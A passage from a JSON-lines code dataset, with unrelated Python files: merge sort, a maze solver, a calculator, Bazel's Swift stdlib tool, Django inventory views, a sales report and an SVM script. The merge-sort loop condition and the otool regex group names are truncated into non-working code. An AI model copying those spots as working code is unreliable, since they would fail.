recommend(stock_price_dic)\n\n logging.info(recommendstock_set)\n\n return\n\nif __name__ == \"__main__\":\n main()","repo_name":"outk/autotradeapp","sub_path":"recommendstock/recommendstockcronjob.py","file_name":"recommendstockcronjob.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29055855506","text":"# merge sort procedure is all about understanding how recursion works\n\ndef merge(left,right):\n res = []\n i,j = 0,0\n while iright[j]:\n res.append(right[j])\n j+=1\n else:\n res.append(left[i])\n i+=1\n while i < len(left):\n res.append(left[i])\n i+=1\n while j< len(right):\n res.append(right[j])\n j+=1\n return res\n\n# THis piece of code above describes how the sorting works since the problem\n# is broken down in to smaller sub problem the merge function works best because\n# first it compares two lists with only one element in each and sorts them\n# This goes on such that every time it gets a new list it will be in sorted form\n\ndef mergeSort(L):\n if len(L) < 2:\n return L\n mid = len(L)//2 # interger division\n left = mergeSort(L[:mid])\n right = mergeSort(L[mid:])\n return merge(left,right) # this does the sorting of all the lists\n\n# Time complexity is O(len(L)) * O(log(len(L))) so total is O(nlogn)\n","repo_name":"Premdeep/Python-Programming","sub_path":"Merge_sort.py","file_name":"Merge_sort.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23114998414","text":"from graphics import Point\nfrom cell import Cell\nimport random\nimport time\n\nclass Maze:\n def __init__(self, x1, y1, num_rows, num_cols, cell_size_x, cell_size_y, win = None, seed = None):\n self.x1 = x1\n self.y1 = y1\n self.num_rows = num_rows\n self.num_cols = num_cols\n self.cell_size_x = cell_size_x\n self.cell_size_y= cell_size_y\n self._cells = []\n self.win = win\n if seed is not None:\n random.seed(seed)\n self._create_cells() \n self._break_walls_r(0, 0)\n self._draw_cell()\n self._reset_cells_visted()\n self.way = []\n\n def _create_cells(self):\n self._cells = [] \n for i in range(self.num_cols):\n row = []\n for j in range(self.num_rows):\n x1 = self.x1 + i * self.cell_size_x\n y1 = self.y1+ j * self.cell_size_y\n\n p1 = Point(x1, y1)\n p2 = Point(x1 + self.cell_size_x, y1 + self.cell_size_y)\n row.append(Cell(p1, p2, self.win))\n self._cells.append(row)\n self._break_entrance_and_exit()\n\n def _break_entrance_and_exit(self):\n self._cells[0][0].has_top_wall = False\n self._cells[self.num_cols -1][self.num_rows -1].has_bottom_wall = False\n\n\n def _draw_cell(self):\n if self.win is None:\n return \n for i in range(self.num_cols):\n for j in range(self.num_rows):\n self._cells[i][j].draw()\n\n def _animate(self):\n self.win.redraw()\n time.sleep(0.05)\n\n def solve(self):\n return self._solve_r(0, 0)\n \n\n def _solve_r(self, i, j):\n self._animate()\n self._cells[i][j].visited = True\n\n if i == self.num_cols - 1 and j == self.num_rows - 1:\n return True\n \n if (i > 0 \n and not self._cells[i - 1][j].visited \n and not self._cells[i][j].has_left_wall):\n self._cells[i][j].draw_move(self._cells[i - 1][j])\n if self._solve_r(i - 1, j):\n return True\n else:\n self._cells[i][j].draw_move(self._cells[i - 1][j], True)\n if (i < self.num_cols - 1 \n and not self._cells[i + 1][j].visited \n and not self._cells[i][j].has_right_wall):\n self._cells[i][j].draw_move(self._cells[i + 1][j])\n if self._solve_r(i + 1, j):\n return True\n else:\n self._cells[i][j].draw_move(self._cells[i + 1][j], True)\n if (j > 0 \n and not self._cells[i][j - 1].visited \n and not self._cells[i][j].has_top_wall):\n self._cells[i][j].draw_move(self._cells[i][j - 1])\n if self._solve_r(i, j - 1):\n return True\n else:\n self._cells[i][j].draw_move(self._cells[i][j - 1], True)\n if (j < self.num_rows - 1 \n and not self._cells[i][j + 1].visited \n and not self._cells[i][j].has_bottom_wall): \n self._cells[i][j].draw_move(self._cells[i][j + 1])\n if self._solve_r(i, j + 1):\n return True\n else:\n self._cells[i][j].draw_move(self._cells[i][j + 1], True)\n\n return False\n\n\n def _break_walls_r(self, i, j):\n self._cells[i][j].visited = True\n while True:\n possible_directions = []\n\n if i > 0 and not self._cells[i - 1][j].visited:\n possible_directions.append((i - 1, j))\n if i < self.num_cols - 1 and not self._cells[i + 1][j].visited:\n possible_directions.append((i + 1, j))\n if j > 0 and not self._cells[i][j - 1].visited:\n possible_directions.append((i, j - 1))\n if j < self.num_rows - 1 and not self._cells[i][j + 1].visited: \n possible_directions.append((i, j + 1))\n\n if len(possible_directions) == 0:\n self._cells[i][j].draw()\n return\n \n index = random.randrange(len(possible_directions))\n next_cell = possible_directions[index]\n\n if next_cell[0] == i + 1:\n self._cells[i][j].has_right_wall = False\n self._cells[i + 1][j].has_left_wall = False\n\n if next_cell[0] == i - 1:\n self._cells[i][j].has_left_wall = False\n self._cells[i - 1][j].has_right_wall = False\n\n if next_cell[1] == j + 1:\n self._cells[i][j].has_bottom_wall = False\n self._cells[i][j + 1].has_top_wall = False\n\n if next_cell[1] == j - 1:\n self._cells[i][j].has_top_wall = False\n self._cells[i][j - 1].has_bottom_wall = False\n\n self._break_walls_r(next_cell[0], next_cell[1]) \n \n def _reset_cells_visted(self):\n for col in self._cells:\n for cell in col:\n cell.visited = False\n\n\n\n\n\n \n\n\n \n\n","repo_name":"bpetermann/py-maze-solver","sub_path":"maze.py","file_name":"maze.py","file_ext":"py","file_size_in_byte":5085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36479566774","text":"#!/usr/bin/python3\nimport math\n\n\ndef main():\n while True:\n try:\n print(\"**********Hi Sweet, welcome to this calculator**********\\n\")\n first_number = float(input(\"Enter the first number: \"))\n print(\"Select the operation you wish to perform:\")\n print(\"1. Addition (+)\")\n print(\"2. Subtraction (-)\")\n print(\"3. Multiplication (x)\")\n print(\"4. Division (/)\")\n print(\"5. Exponentiation(**)\")\n print(\"6. Advanced Functionalities\")\n print(\"7. Exit\")\n\n operand = int(input(\"Enter the number relating to your choice: \"))\n if operand in [1, 2, 3, 4, 5]:\n second_number = float(input(\"Enter the second number: \"))\n if operand == 1:\n result = first_number + second_number\n elif operand == 2:\n result = first_number - second_number\n elif operand == 3:\n result = first_number * second_number\n elif operand == 4:\n result = first_number / second_number\n elif operand == 5:\n result = first_number ** second_number\n elif operand == 6:\n print(\"Select the operation you wish to perform:\")\n print(\"1. Square root(√)\")\n print(\"2. Logarithm Operations(log)\")\n print(\"3. Trigonometry(sin)\")\n print(\"4. Trigonometry(cos)\")\n print(\"5. Trigonometry(tan)\")\n advanced_operand = int(\n input(\"Enter the number relating to your choice: \"))\n if advanced_operand == 1:\n result = math.sqrt(first_number)\n elif advanced_operand == 2:\n result = math.log(first_number)\n elif advanced_operand == 3:\n result = math.sin(math.radians(first_number))\n elif advanced_operand == 4:\n result = math.cos(math.radians(first_number))\n elif advanced_operand == 5:\n result = math.tan(math.radians(first_number))\n else:\n print(\"Invalid Operand, please try again\")\n elif operand == 7:\n print(\"Thanks for using this calculator\")\n exit()\n else:\n print(\"Invalid Operand, please try again\")\n print(\"Printing the result...........\")\n print(result)\n choice = input(\"You wanna perform more operations? (yes/no): \")\n if choice.lower() != \"yes\":\n print(\"Thanks for using this calculator\")\n break\n except ValueError:\n print(\"Hi Sweet, You got value error.\")\n print(\"Make sure you enter only number\")\n exit()\n except ZeroDivisionError:\n print(\"Hi Sweet, You can't divide by Zero\")\n exit()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"samuelogboye/python-projects","sub_path":"calculator/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":3041,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71513547602","text":"import argparse\nimport glob\nimport os\nimport re\nimport shutil\nimport sys\nimport tempfile\n\nfrom tools.bitcode_strip import bitcode_strip\nfrom tools.wrapper_common import execute\nfrom tools.wrapper_common import lipo\n\n_OTOOL_MINIMUM_OS_VERSION_RE = re.compile(\n r\"\"\"\n(\n cmd\\ LC_VERSION_MIN_(?P[^\\n]+)\\n\n .*?\n version\\ (?P\\d+\\.\\d+)\n |\n cmd\\ LC_BUILD_VERSION\n .*?\n platform\\ (?P[^\\n]+)\\n\n .*?\n minos\\ (?P\\d+\\.\\d+)\n)\n\"\"\", re.VERBOSE | re.MULTILINE | re.DOTALL)\n\n# Minimum OS versions after which the Swift runtime is packaged with the OS. If\n# the deployment target of a binary is greater than or equal to the versions\n# defined here it does not need to bundle the Swift runtime.\n_MIN_OS_PLATFORM_SWIFT_PRESENCE = {\n \"ios\": (12, 2),\n \"iphoneos\": (12, 2),\n \"macos\": (10, 14, 4),\n \"macosx\": (10, 14, 4),\n \"tvos\": (12, 2),\n \"watchos\": (5, 2),\n}\n\n\ndef _deployment_target_requires_bundled_swift_runtime(platform, version):\n \"\"\"Returns true if the given deployment target requires a bundled copy of the Swift runtime.\"\"\"\n\n platform = platform.lower().replace(\"simulator\", \"\")\n version = tuple(int(component) for component in version.split(\".\"))\n\n return version < _MIN_OS_PLATFORM_SWIFT_PRESENCE.get(platform, (0, 0))\n\n\ndef _binary_requires_bundled_swift_runtime(binary):\n \"\"\"Returns true if the deployment target of the given binary requires a bundled copy of the Swift runtime.\"\"\"\n\n cmd = [\"otool\", \"-lV\", \"-arch\", \"all\", binary]\n _, stdout, stderr = execute.execute_and_filter_output(\n cmd, raise_on_failure=True)\n if stderr:\n print(stderr)\n\n # Loop to ensure we process all architectures within the binary. Different\n # architectures may have different deployment targets.\n while True:\n match = _OTOOL_MINIMUM_OS_VERSION_RE.search(stdout)\n if not match:\n return False\n\n groups = match.groupdict()\n # Only one of each alternative of platform and version can be set.\n platform = groups[\"lc_version_min_platform\"] or groups[\n \"lc_build_version_platform\"]\n version = groups[\"lc_version_min_version\"] or groups[\n \"lc_build_version_minos\"]\n\n if _deployment_target_requires_bundled_swift_runtime(platform, version):\n return True\n\n stdout = stdout[match.endpos:]\n\n\ndef _copy_swift_stdlibs(binaries_to_scan, sdk_platform, destination_path):\n \"\"\"Copies the Swift stdlibs required by the binaries to the destination.\"\"\"\n # Rely on the swift-stdlib-tool to determine the subset of Swift stdlibs that\n # these binaries require.\n developer_dir = os.environ[\"DEVELOPER_DIR\"]\n swift_dylibs_root = \"Toolchains/XcodeDefault.xctoolchain/usr/lib/swift-*\"\n swift_library_dir_pattern = os.path.join(developer_dir, swift_dylibs_root,\n sdk_platform)\n swift_library_dirs = glob.glob(swift_library_dir_pattern)\n\n cmd = [\n \"xcrun\", \"swift-stdlib-tool\", \"--copy\", \"--platform\", sdk_platform,\n \"--destination\", destination_path\n ]\n for swift_library_dir in swift_library_dirs:\n cmd.extend([\"--source-libraries\", swift_library_dir])\n for binary_to_scan in binaries_to_scan:\n cmd.extend([\"--scan-executable\", binary_to_scan])\n\n _, stdout, stderr = execute.execute_and_filter_output(cmd,\n raise_on_failure=True)\n if stderr:\n print(stderr)\n if stdout:\n print(stdout)\n\n # swift-stdlib-tool currently bundles an unnecessary copy of the Swift runtime\n # whenever it bundles the back-deploy version of the Swift concurrency\n # runtime. This is because the back-deploy version of the Swift concurrency\n # runtime contains an `@rpath`-relative reference to the Swift runtime due to\n # being built with a deployment target that predates the Swift runtime being\n # shipped with operating system.\n # The Swift runtime only needs to be bundled if the binary's deployment target\n # is old enough that it may run on OS versions that lack the Swift runtime,\n # so we detect this scenario and remove the Swift runtime from the output\n # path.\n if not any(\n _binary_requires_bundled_swift_runtime(binary)\n for binary in binaries_to_scan):\n libswiftcore_path = os.path.join(destination_path, \"libswiftCore.dylib\")\n if os.path.exists(libswiftcore_path):\n os.remove(libswiftcore_path)\n\n\ndef _lipo_exec_files(exec_files, target_archs, strip_bitcode, source_path,\n destination_path):\n \"\"\"Strips executable files if needed and copies them to the destination.\"\"\"\n # Find all architectures from the set of files we might have to lipo.\n _, exec_archs = lipo.find_archs_for_binaries(\n [os.path.join(source_path, f) for f in exec_files]\n )\n\n # Copy or lipo each file as needed, from source to destination.\n for exec_file in exec_files:\n exec_file_source_path = os.path.join(source_path, exec_file)\n exec_file_destination_path = os.path.join(destination_path, exec_file)\n file_archs = exec_archs[exec_file_source_path]\n\n archs_to_keep = target_archs & file_archs\n\n # On M1 hardware, thin x86_64 libraries do not need lipo when archs_to_keep\n # is empty.\n if len(file_archs) == 1 or archs_to_keep == file_archs or not archs_to_keep:\n # If there is no need to lipo, copy and mark as executable.\n shutil.copy(exec_file_source_path, exec_file_destination_path)\n os.chmod(exec_file_destination_path, 0o755)\n else:\n lipo.invoke_lipo(\n exec_file_source_path, archs_to_keep, exec_file_destination_path\n )\n if strip_bitcode:\n bitcode_strip.invoke(exec_file_destination_path, exec_file_destination_path)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"swift stdlib tool\")\n parser.add_argument(\n \"--binary\", type=str, required=True, action=\"append\",\n help=\"path to a binary file which will be the basis for Swift stdlib tool\"\n \" operations\"\n )\n parser.add_argument(\n \"--platform\", type=str, required=True, help=\"the target platform, e.g. \"\n \"'iphoneos'\"\n )\n parser.add_argument(\n \"--strip_bitcode\", action=\"store_true\", default=False, help=\"strip \"\n \"bitcode from the Swift support libraries\"\n )\n parser.add_argument(\n \"--output_path\", type=str, required=True, help=\"path to save the Swift \"\n \"support libraries to\"\n )\n args = parser.parse_args()\n\n # Create a temporary location for the unstripped Swift stdlibs.\n temp_path = tempfile.mkdtemp(prefix=\"swift_stdlib_tool.XXXXXX\")\n\n # Use the binaries to copy only the Swift stdlibs we need for this app.\n _copy_swift_stdlibs(args.binary, args.platform, temp_path)\n\n # Determine the binary slices we need to strip with lipo.\n target_archs, _ = lipo.find_archs_for_binaries(args.binary)\n\n # Select all of the files in this temp directory, which are our Swift stdlibs.\n stdlib_files = [\n f for f in os.listdir(temp_path) if os.path.isfile(\n os.path.join(temp_path, f)\n )\n ]\n\n destination_path = args.output_path\n # Ensure directory exists for remote execution.\n os.makedirs(destination_path, exist_ok=True)\n\n # Copy or use lipo to strip the executable Swift stdlibs to their destination.\n _lipo_exec_files(stdlib_files, target_archs, args.strip_bitcode, temp_path,\n destination_path)\n\n shutil.rmtree(temp_path)\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"bazelbuild/rules_apple","sub_path":"tools/swift_stdlib_tool/swift_stdlib_tool.py","file_name":"swift_stdlib_tool.py","file_ext":"py","file_size_in_byte":7421,"program_lang":"python","lang":"en","doc_type":"code","stars":446,"dataset":"github-code","pt":"3"} +{"seq_id":"25006458625","text":"import typing\n\nfrom src.common.conversion import convert_input_fields\n\nfrom src.entities.ingredient import Ingredient, in_metadata\nfrom src.entities.nutritional_values import nv_metadata\n\nfrom src.ui.callback_classes import Button, StringInput\nfrom src.ui.gui_menu import GUIMenu\nfrom src.ui.shared import add_ingredient_attributes\n\nfrom src.ui.screens.get_yes import get_yes\nfrom src.ui.screens.show_message import show_message\n\nif typing.TYPE_CHECKING:\n from src.database.unencrypted_database import IngredientDatabase\n from src.ui.gui import GUI\n\n\ndef add_ingredient_menu(gui : 'GUI',\n ingredient_db : 'IngredientDatabase'\n ) -> None:\n \"\"\"Render the `Add Ingredient` menu.\"\"\"\n title = 'Add Ingredient'\n\n joined_metadata = {}\n joined_metadata.update(in_metadata)\n joined_metadata.update(nv_metadata)\n\n failed_conversions = {} # type: dict\n keys = list(in_metadata.keys()) + list(nv_metadata.keys())\n string_inputs = {k: StringInput() for k in keys}\n\n # Prefill less commonly used fields with zeroes and units with default values.\n excluded = ['kcal', 'carbohydrates_g', 'sugar_g', 'protein_g', 'fat_g',\n 'satisfied_fat_g', 'fiber_g', 'salt_g']\n\n for k in string_inputs.keys():\n # Disable linter check as we are reusing keys and assigning values, not fetching them\n # pylint disable=consider-iterating-dictionary\n if k in nv_metadata.keys() and k not in excluded:\n string_inputs[k].value = '0.0'\n string_inputs['grams_per_unit'].value = '100.0'\n string_inputs['fixed_portion_g'].value = '0.0'\n\n while True:\n menu = GUIMenu(gui, title, columns=3, rows=18, column_max_width=532)\n\n add_ingredient_attributes(menu, joined_metadata, string_inputs, failed_conversions)\n\n done_bt = Button(menu, closes_menu=True)\n return_bt = Button(menu, closes_menu=True)\n\n menu.menu.add.label('\\n', font_size=5)\n menu.menu.add.button('Done', action=done_bt.set_pressed)\n menu.menu.add.button('Cancel', action=return_bt.set_pressed)\n\n menu.start()\n\n if return_bt.pressed:\n return\n\n if done_bt.pressed:\n if not string_inputs['name'].value:\n failed_conversions['name'] = ''\n continue\n\n success, value_dict = convert_input_fields(string_inputs, joined_metadata)\n\n if not success:\n failed_conversions = value_dict\n continue\n\n new_ingredient = Ingredient.from_dict(value_dict)\n\n if not ingredient_db.has_ingredient(new_ingredient):\n ingredient_db.insert(new_ingredient)\n show_message(gui, title, 'Ingredient has been added.')\n return\n\n if get_yes(gui, title,\n f'Ingredient {str(new_ingredient)} already exists. Overwrite(?)',\n default_str='No'):\n ingredient_db.replace_ingredient(new_ingredient)\n show_message(gui, title, 'Ingredient has been replaced.')\n return\n","repo_name":"MarkusOttela/ot-harjoitustyo","sub_path":"src/ui/screens/ingredient_menu/add_ingredient.py","file_name":"add_ingredient.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73450236560","text":"\"\"\"\nCMPS 2200 Assignment 1.\nSee assignment-01.pdf for details.\n\"\"\"\n# no imports needed.\n\ndef foo(x):\n if x<=1:\n return x\n else:\n return foo(x-1)+foo(x-2)\n\ndef longest_run(mylist, key):\n longestrun = 0\n counter = 0\n for i in range(0, len(mylist)):\n if mylist[i] == key:\n counter += 1\n if counter > longestrun:\n longestrun = counter\n else:\n counter = 0\n \n return longestrun\n\n\nclass Result:\n \"\"\" done \"\"\"\n def __init__(self, left_size, right_size, longest_size, is_entire_range):\n self.left_size = left_size # run on left side of input\n self.right_size = right_size # run on right side of input\n self.longest_size = longest_size # longest run in input\n self.is_entire_range = is_entire_range # True if the entire input matches the key\n \n def __repr__(self):\n return('longest_size=%d left_size=%d right_size=%d is_entire_range=%s' %\n (self.longest_size, self.left_size, self.right_size, self.is_entire_range))\n \n\n\n'''def longest_run_recursive(mylist, key, count = 0, longest = 0):\n if mylist:\n if mylist[0] == key:\n count += 1\n print(\"found key!\")\n if count > longest:\n longest = count\n else:\n count = 0\n return longest_run_recursive(mylist[1:], key, count, longest)\n else:\n return longest\n'''\n\ndef longest_run_recursive(mylist, key):\n if len(mylist) == 1:\n if mylist[0] == key:\n ans = Result(1,1,1,True)\n else:\n ans = Result(0,0,0,False) \n else:\n leftside = longest_run_recursive(mylist[:len(mylist)//2], key)\n rightside = longest_run_recursive(mylist[len(mylist)//2:], key)\n if leftside.is_entire_range == True and rightside.is_entire_range == True:\n ans = Result(leftside.longest_size,rightside.longest_size, leftside.longest_size + rightside.longest_size,True)\n elif leftside.is_entire_range == True and rightside.is_entire_range == False:\n ans = Result(leftside.longest_size + rightside.left_size, rightside.longest_size, leftside.longest_size + rightside.left_size,False)\n elif leftside.is_entire_range == False and rightside.is_entire_range == True:\n ans = Result(leftside.longest_size, rightside.longest_size + leftside.right_size, rightside.longest_size + leftside.right_size,False)\n else:\n ans = Result(leftside.longest_size, rightside.longest_size, max(leftside.right_size+rightside.left_size, leftside.longest_size, rightside.longest_size),False)\n return ans\n\n\n## Feel free to add your own tests here.\ndef test_longest_run():\n assert longest_run([2,12,12,8,12,12,12,0,12,1], 12) == 3\n\n","repo_name":"allan-tulane/fa-23-assignment-01-kkmitchell7","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17966752673","text":"from django.shortcuts import render\nfrom ..models import Dimenzija, Sestavina, Vnos, Kontejner, Sprememba, Dnevna_prodaja\nfrom ..models import Baza, Zaloga, Cena\nfrom django.shortcuts import redirect\nfrom prodaja.models import Stranka\nimport io\nimport datetime\nfrom django.contrib.auth.decorators import login_required\nimport json \nfrom .. import funkcije\nfrom request_funkcije import pokazi_stran, vrni_dimenzijo, vrni_slovar\nfrom django.urls import reverse\n\n@login_required\ndef pregled_zaloge(request,zaloga):\n if request.method == \"GET\":\n zaloga = Zaloga.objects.get(pk = zaloga)\n sestavine = zaloga.sestavina_set.all()\n radius = request.GET.get('radius','R12')\n height = request.GET.get('height','all')\n width = request.GET.get('width', 'all')\n if radius != \"all\":\n sestavine = sestavine.filter(dimenzija__radius=radius)\n if height != \"all\":\n sestavine = sestavine.filter(dimenzija__height=height)\n if width != \"all\":\n if \"C\" in width:\n width = width.replace('C','')\n sestavine = sestavine.filter(dimenzija__width=width, dimenzija__special = True)\n else:\n sestavine = sestavine.filter(dimenzija__width=width, dimenzija__special = False)\n tipi_prodaje = zaloga.tipi_prodaj\n if 'vele_prodaja' in tipi_prodaje:\n cenik = zaloga.cenik('vele_prodaja')\n else:\n cenik = zaloga.cenik('dnevna_prodaja')\n nicelne = request.GET.get('nicelne','true')\n rezervirane = request.GET.get('rezervirane','false')\n tipi = []\n for tip in zaloga.tipi_sestavin:\n if request.GET.get(tip,\"true\") == \"true\":\n tipi.append(tip)\n sestavine = sestavine.values(\n 'dimenzija__dimenzija',\n 'pk',\n 'Y',\n 'W',\n 'JP',\n 'JP50',\n 'JP70',\n )\n if nicelne == \"false\":\n ne_prazne = []\n for sestavina in sestavine:\n for tip in tipi:\n if sestavina[tip] != 0:\n ne_prazne.append(sestavina)\n break\n sestavine = ne_prazne\n cene = {}\n skupno = 0\n vrednost = 0\n for sestavina in sestavine:\n dimenzija = sestavina['dimenzija__dimenzija']\n for tip in tipi:\n stevilo = sestavina[tip]\n cena = cenik[dimenzija][tip]\n skupno += stevilo\n vrednost += cena * stevilo\n if dimenzija in cene:\n if not tip in cene[dimenzija]:\n cene[dimenzija].update({tip:stevilo * cena})\n else:\n cene.update({dimenzija:{tip:stevilo * cena}})\n slovar = {\n 'zaloga':zaloga,\n 'sestavine':sestavine,\n 'tipi':tipi,\n 'radius':radius,\n 'height':height,\n 'width':width,\n 'skupno':skupno,\n 'nicelne': nicelne,\n 'rezervirane': rezervirane,\n 'cene':cene,\n 'vrednost':vrednost\n }\n return pokazi_stran(request, 'zaloga/zaloga.html', slovar)\n\n@login_required\ndef pregled_prometa(request,tip,pk):\n if request.method == \"GET\":\n sestavina = Sestavina.objects.get(pk=pk)\n cene_prodaje = Cena.objects.filter(sestavina=sestavina, prodaja__in = ['dnevna_prodaja','vele_prodaja'], tip=tip)\n danes = datetime.date.today().strftime('%Y-%m-%d')\n pred_mescem = (datetime.date.today() - datetime.timedelta(days=30)).strftime('%Y-%m-%d')\n zacetek_sprememb = request.GET.get('zacetek_sprememb', pred_mescem)\n konec_sprememb = request.GET.get('konec_sprememb', danes)\n print(\"zacetek sprememb je:\")\n print(zacetek_sprememb)\n spremembe = sestavina.sprememba_set.filter(baza__datum__gt = zacetek_sprememb, baza__datum__lte=konec_sprememb, tip = tip).order_by('-baza__datum','-baza__cas').select_related('baza')\n #spremembe = sestavina.sprememba_set.filter(tip = tip).order_by('-baza__datum','-baza__cas').select_related('baza')\n zaporedna_stanja = sestavina.vrni_stanja(tip,zacetek_sprememb,konec_sprememb)[::-1]\n zacetek_dp = request.GET.get('zacetek_dp', pred_mescem) \n konec_dp = request.GET.get('konec_dp', danes)\n zacetek_vp = request.GET.get('zacetek_vp', pred_mescem)\n konec_vp = request.GET.get('konec_vp', danes)\n dp_stevilo, dp_cena = sestavina.prodaja('racun',tip, zacetek_dp, konec_dp)\n vp_stevilo, vp_cena = sestavina.prodaja('vele_prodaja',tip, zacetek_vp, konec_vp)\n slovar = {\n 'zaporedna_stanja': zaporedna_stanja,\n 'tip': tip,\n 'sestavina': sestavina,\n 'cene_prodaje':cene_prodaje,\n 'spremembe': spremembe,\n 'zacetek_sprememb': zacetek_sprememb,\n 'zacetek_dp': zacetek_dp,\n 'zacetek_vp': zacetek_vp,\n 'konec_sprememb': konec_sprememb,\n 'konec_dp': konec_dp,\n 'konec_vp': konec_vp,\n 'dp_stevilo': dp_stevilo,\n 'dp_cena': dp_cena,\n 'vp_stevilo': vp_stevilo,\n 'vp_cena': vp_cena\n }\n return pokazi_stran(request, 'zaloga/pregled_prometa.html', slovar)\n\n@login_required\ndef sprememba_cene(request,tip,pk,cena):\n if request.method==\"POST\":\n cena = Cena.objects.get(pk = cena )\n cena.cena = float(request.POST.get('cena'))\n cena.save()\n return redirect('pregled_prometa', tip=tip, pk=pk)\n\n@login_required\ndef dodaj_dimenzijo(request):\n if request.method == \"POST\":\n dimenzija = request.POST.get('dimenzija')\n radius = request.POST.get('radius')\n height = request.POST.get('height')\n width = request.POST.get('width')\n special = request.POST.get('special')\n if special == \"true\":\n special = True\n elif special == \"false\":\n special = False\n Dimenzija.objects.create(\n dimenzija = dimenzija,\n radius = radius,\n height = height,\n width = width,\n special = special)\n return redirect('nova_dimenzija')\n else:\n return pokazi_stran(request, 'zaloga/dodaj_dimenzijo.html')\n","repo_name":"TadejGrof/LaBodega","sub_path":"zaloga/my_views/zaloga_views.py","file_name":"zaloga_views.py","file_ext":"py","file_size_in_byte":6351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15442591330","text":"import calendar\nfrom db import produtos, vendas\nfrom utils import obter_ano_mes, criar_dicionario_produtos_por_id, calcular_vendas_por_mes_ano\n\ndef processar_vendas():\n # Obtém o ano e o mês digitados pelo usuário\n ano_digitado, mes_digitado = obter_ano_mes()\n\n # Cria um dicionário com os produtos mapeados por ID\n produtos_por_id = criar_dicionario_produtos_por_id(produtos)\n\n try:\n # Calcula as vendas totais e produtos vendidos no mês e ano informados\n total_vendas, produtos_vendidos = calcular_vendas_por_mes_ano(vendas, ano_digitado, mes_digitado)\n\n # Obtém o produto mais vendido\n if produtos_vendidos:\n # Encontra o ID do produto mais vendido usando a função max() com base na quantidade vendida\n produto_mais_vendido_id = max(produtos_vendidos, key=produtos_vendidos.get)\n # Obtém o nome do produto mais vendido com base no ID usando o dicionário de produtos por ID\n produto_mais_vendido_nome = produtos_por_id.get(produto_mais_vendido_id)\n # Obtém a quantidade vendida do produto mais vendido usando o dicionário de produtos vendidos\n quantidade_produto_mais_vendido = produtos_vendidos[produto_mais_vendido_id]\n # Imprime as informações do produto mais vendido\n print(f\"\\nProduto mais vendido: {produto_mais_vendido_nome}, \\nQuantidade vendida do produto: {quantidade_produto_mais_vendido}\\n\")\n else:\n # Caso não haja produtos vendidos no mês e ano informados, imprime uma mensagem informando isso\n print(\"Não foram encontrados produtos vendidos no mês e ano informados.\")\n\n # Imprime o total de vendas para o mês e ano informados\n print(f\"Total de vendas para o mês {mes_digitado}/{ano_digitado}: R${total_vendas:.2f}\\n\")\n\n # Calcula a média de vendas por dia\n # Obtém o último dia do mês com base no ano e mês de referência usando a função monthrange() do módulo calendar\n ultimo_dia_mes = calendar.monthrange(ano_digitado, mes_digitado)[1]\n # Calcula a média de vendas por dia dividindo o total de vendas pelo número de dias no mês\n media_vendas_por_dia = total_vendas / ultimo_dia_mes\n # Imprime a média de vendas por dia\n print(f\"Média de vendas por dia: R${media_vendas_por_dia:.2f}\\n\")\n except ValueError:\n # Caso ocorra uma exceção ao calcular as vendas (por exemplo, se o mês ou ano informados não possuírem vendas), imprime uma mensagem de erro\n print(\"Não há vendas registradas para o mês e ano informados.\\n\")\n\n","repo_name":"claraferreirabatista/projeto_logica_de_programacao_II","sub_path":"best_product.py","file_name":"best_product.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"18519082301","text":"from time import time\nfrom random import random, shuffle\nimport sys, os\n\nfrom sklearn.svm import SVC\n\nfrom lib.data_wrangler import DataWrangler\nfrom lib.utility import Evaluation\nfrom feature_selection.feature_selector import SelectionCombinator\n\nprint_prefix = \"Time taken to complete\"\n\n\ndef get_data():\n if len(sys.argv) < 4:\n print(\"Error running file. Signature to run the file is: -\")\n print(\"python main.py \")\n sys.exit(0)\n\n train_data = DataWrangler.read_from_file(sys.argv[1], conversion=float)\n test_data = DataWrangler.read_from_file(sys.argv[2], conversion=float)\n train_labels = DataWrangler.read_from_file(sys.argv[3], conversion=int)\n zipped_train = list(zip(train_data, train_labels))\n shuffle(zipped_train)\n train_data, train_labels = zip(*zipped_train)\n training_set = []\n validation_set = []\n training_labels = []\n validation_labels = []\n for xi, label in zip(train_data, train_labels):\n if random() > 0.1:\n training_set.append(xi)\n training_labels.append(label)\n else:\n validation_set.append(xi)\n validation_labels.append(label)\n\n return training_set, validation_set, test_data, list(list(zip(*training_labels))[0]), \\\n list(list(zip(*validation_labels))[0])\n\n\nif __name__ == \"__main__\":\n def reduce_dimension(dataset, selected_features):\n return [[xi[i] for i in selected_features] for xi in dataset]\n\n\n super_start = time()\n train_data, validation_data, test_data, train_labels, validation_labels = get_data()\n print(\"{} dataset load = {} seconds\".format(print_prefix, time() - super_start))\n\n start = time()\n combination = (('snr', 1000), ('pearson', 200), ('mi', 15))\n combinator = SelectionCombinator(combination)\n reduced_train_data, reduced_validation_data, reduced_test_data = combinator.get_reduced_data(train_data,\n validation_data,\n test_data,\n train_labels)\n del train_data\n del validation_data\n del test_data\n print(\"{} dataset reduction = {} seconds\".format(print_prefix, time() - start))\n\n start = time()\n model = SVC(kernel=\"linear\", C=3.0, max_iter=1000000)\n predictions = model.fit(reduced_train_data, train_labels).predict(reduced_validation_data)\n accuracy = Evaluation.get_accuracy(predictions, validation_labels)\n print(\"{} model learning and predicting = {} seconds\".format(print_prefix, time() - start))\n print(\"Got {} accuracy using linear SVM for 15 dims\".format(accuracy))\n\n start = 